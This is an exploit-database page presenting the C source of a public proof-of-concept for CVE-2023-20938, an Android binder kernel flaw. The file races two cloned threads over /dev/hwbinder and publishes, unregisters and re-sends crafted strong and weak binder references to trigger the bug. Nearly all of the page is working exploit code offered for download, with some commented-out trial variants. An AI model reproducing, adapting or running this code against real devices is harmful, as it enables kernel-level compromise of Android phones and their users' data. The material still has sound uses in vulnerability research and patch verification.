Exploit database

GH-3d178a7ebfd8f2f09f9cc2038c7f261a

0xatharv/cve-2023-20938-public

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-20938

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
0xatharv/cve-2023-20938-publicRevision 2eee65b62b90

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main.c

Suggested starting fileC · 4,196 bytes
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#include <fcntl.h>
#include <errno.h>
#include <stdbool.h>
#include <poll.h>
#include <sys/epoll.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/fs.h>
#include <stdlib.h>
#include <stdlib.h>
#include <sched.h>

#include "binder.h"
#include "transaction.h"
#include "binder_lookup.h"
#include "util.h"


volatile int *barrier;
typedef void * hidl_pointer;
void * child_stack[2];


#define BINDER_DEVICE "/dev/hwbinder"
#define STACK_SIZE (1024 * 1024)


void * child_thread_b(void * arg)
{
  while(!*barrier){}


  struct binder_ctx *bs;
  int ret;
  bs = binder_open(BINDER_DEVICE);

  if(!bs->fd)
  {
    puts("[-] binder_open failed\n");
    exit(-1);
  }
  puts("hit this ?\n");

  uint32_t handle = grab_handle(bs, "l33t");
	
  if (!handle) {
    printf("FAILED TO GRAB HANDLE\n");
		return NULL;
  }

  printf("child = child_thread = %d\n",getpid());

 
  translation_data_t data; 
  // trdata_init(&data);
  // trdata_put_binder(&data, 0xc0ffeebabe, /*strong */ 1);
  // ret = binder_send_txn(bs,handle,0x0,TF_ONE_WAY,&data,false,false);

  // trdata_init(&data);
  // trdata_put_binder(&data, 0xc0ffeebabe, /*strong */ 0);
  // ret = binder_send_txn(bs,handle,0x0,TF_ONE_WAY,&data,false,false);

  // if(ret < 0 ){
  //   LOG("BAD TRANSACTION #2  ");
  //   exit(-1);
  // }else{
  //   LOG("GOOD TRANSACTION #2");
  // }

  // trdata_init(&data);
  // trdata_put_binder(&data, 0xc0ffeebabe, /*strong */ 1);
  // trdata_put_binder(&data, 0xc0ffeebabe, /*strong */ 1);
  // trdata_put_binder(&data, 0xc0ffeebabe, /* weak */ 0);
  // ret = binder_send_exp(bs,handle,0x0,TF_ONE_WAY,&data,false,false);
  // // 
  // if(ret < 0 ){
  //   printf("Failed to send exploit");
  //   exit(-1);
  // }
  // else{
  //     printf("exploit send status code %d\n",ret);
  // }
  // printf("WAITING FOR DEBUG");
  trdata_init(&data);
  trdata_put_binder(&data, 0xbabe, /*strong */ 1);

  ret = binder_send_txn(bs,handle,0x0,TF_ONE_WAY,&data,false,false);
  // 
  if(ret < 0 ){
    printf("Failed to send exploit");
    exit(-1);
  }
  else{
      printf("sent binder %llx\n",0xbabe);
  }

  *barrier=0x0;
  while(!(*barrier)){}

  *barrier=0x2;
  exit(0);

}



void child_thread_a(void *arg)
{
  int ret;
  struct binder_ctx *bs;
  
  *barrier=0x0;
  bs = binder_open(BINDER_DEVICE);

  if(!bs->fd)
  {
    puts("[-] binder_open failed\n");
    exit(-1);
  }

  if (!publish_handle(bs, 0xc0ffeebabe, "l33t")) 
   {
	  puts("[-] publish handle failed\n");
     exit(-1);
	}
  
  printf("parent = main = %d\n",getpid());
  
  *barrier=0x1;
  while(*barrier){}

  puts("unregister called\n");

  unregister_handle(bs,"l33t");
  binder_enter_looper(bs);

  int exp_handle = recv_exploit_ref(bs);
  
  translation_data_t data; 
  trdata_init(&data);
  trdata_put_binder(&data, 0xbabe, /*strong */ 1);
  ret = binder_send_txn(bs,exp_handle,0x0,TF_ONE_WAY,&data,false,false);
  
  trdata_init(&data);
  trdata_put_binder(&data, 0xbabe, /*strong */ 1);
  ret = binder_send_txn(bs,exp_handle,0x0,TF_ONE_WAY,&data,false,false);

  trdata_init(&data);
  trdata_put_binder(&data, 0xbabe, /*strong */ 1);
  ret = binder_send_exp(bs,exp_handle,0x0,TF_ONE_WAY,&data,false,false);

  if(ret < 0 ){
    printf("Failed to send exploit");
    exit(-1);
  }
  else{
      printf("[+] DONE WITH EXPLOIT !!!\n");
  }

  *barrier = 0x1;
  puts("[+] KILLED child_thread_a()\n");
  binder_release(bs->fd,exp_handle);
  binder_close(bs);
  exit(0);

}


int main(int argc, char *argv[])
{
  barrier = (int *)mmap(0x0 , 0x10 , PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS ,-1,0);
  void * thread_arr[2] = {child_thread_a,child_thread_b};

  for(int i = 0 ; i < 2 ;i++ )
  {
    child_stack[i] =  mmap(0x0 , STACK_SIZE , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK,-1,0);
    int ret = clone(thread_arr[i], child_stack[i] + STACK_SIZE, CLONE_VM|CLONE_FILES, NULL);
    if(ret < 0)
    {
      printf("[+] COULDN'T SPAWN THREADS !!! \n");
      exit(1);
    }else{
      printf("[+] SPAWNED THREAD %d!!! \n",ret);

    }

  }
  while(*barrier!=2){}

  exit(0);

}